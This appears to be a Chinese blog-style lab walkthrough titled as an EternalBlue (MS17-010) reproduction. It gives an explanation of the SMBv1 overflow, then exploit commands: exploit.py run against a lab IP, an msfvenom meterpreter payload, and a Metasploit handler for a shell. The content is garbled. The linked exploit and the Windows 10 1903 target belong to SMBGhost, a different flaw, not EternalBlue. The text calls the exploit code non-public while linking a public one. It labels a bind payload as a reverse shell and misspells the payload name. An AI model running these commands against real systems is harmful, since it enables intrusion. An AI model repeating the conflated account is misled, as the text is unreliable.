永恒之蓝漏洞复现
0x01:工具准备:
一台kali攻击机:
https://www.kali.org/
一台漏洞机:
ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/
漏洞利用脚本:
https://github.com/chompie1337/SMBGhost_RCE_PoC/blob/master/exploit.py
0x02:漏洞分析&利用
永恒之蓝(EternalBlue)是一种利用Windows操作系统中的漏洞进行远程代码执行的攻击技术。该漏洞存在于Windows的Server Message Block (SMB) 协议实现中,攻击者可以利用该漏洞通过网络发送特制的数据包来执行恶意代码。
从代码层面来分析,永恒之蓝漏洞的原因主要是由于SMB协议实现中的一个缓冲区溢出漏洞。具体来说,漏洞出现在Windows操作系统的SMB版本1.0中,其中的一个函数SrvOs2FeaListToNt()存在缓冲区溢出漏洞。
攻击者可以通过发送特制的SMB请求,将恶意的数据包发送到目标系统的SMB服务。当目标系统接收到这些恶意数据包时,SrvOs2FeaListToNt()函数会解析数据包中的文件扩展属性列表,并将其转换为内部数据结构。然而,由于没有对输入数据进行充分的验证和边界检查,攻击者可以通过发送超长的数据包来触发缓冲区溢出,覆盖并控制程序的执行流程,从而实现远程代码执行。
这个漏洞的利用代码并不是公开的,但是攻击者可以通过分析漏洞的原理和特性,编写自己的利用代码。因此,为了防止永恒之蓝漏洞的利用,建议您及时更新Windows操作系统,并确保安装了相关的安全补丁。此外,还应该限制对SMB服务的访问,并在网络边界上实施适当的防火墙规则,以减少攻击面。
永恒之蓝(EternalBlue)是一个网络攻击工具,利用了Microsoft Windows操作系统中的漏洞,具体来说是MS17-010漏洞。以下是从代码层面分析永恒之蓝攻击出现的原因:
- 漏洞存在: 攻击的根本原因是操作系统中的漏洞。MS17-010漏洞存在于Windows操作系统的SMB协议(Server Message Block)实现中,允许攻击者通过网络向目标系统发送特制的SMB请求,从而执行远程代码。漏洞的存在使得攻击者可以在未经授权的情况下入侵目标系统。
- 漏洞扫描和利用: 攻击者使用漏洞扫描工具,在互联网上寻找受影响的Windows系统。一旦找到了漏洞,攻击者便尝试利用该漏洞进行入侵。
- 利用工具: 永恒之蓝工具包括恶意代码,用于构建特制的SMB请求,以触发MS17-010漏洞,并在目标系统上执行远程代码。攻击者使用这个工具可以实现对受害系统的远程控制。
- 传播和感染: 一旦攻击者成功利用了漏洞,他们可以在受害系统上执行恶意代码。此时,攻击者可以将恶意软件(如勒索软件、恶意挖矿软件等)传播到目标系统上,或者用于横向移动,感染网络中的其他系统。
- 未及时修补: 大规模的永恒之蓝攻击爆发的一个原因是许多组织未及时应用微软发布的安全补丁,以修复MS17-010漏洞。这为攻击者提供了可利用的目标。
- 后续恶意活动: 一旦攻击者成功入侵目标系统,他们可以进行各种恶意活动,包括数据盗取、勒索、挖矿和横向移动,以进一步扩大攻击范围
利用:
poc:
python3 exploit.py -ip 10.211.55.20
反弹shell:
首先使用msf制作payload:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
然后替换poc:
然后开启监听:
msfconsole→
use exploit/multi/handler →
set payload windows/x64/meterpreter/bing_tcp →
set lport 4444
set rhost 10.211.55.1
set lhost 10.211.55.2
执行脚本,反弹成功: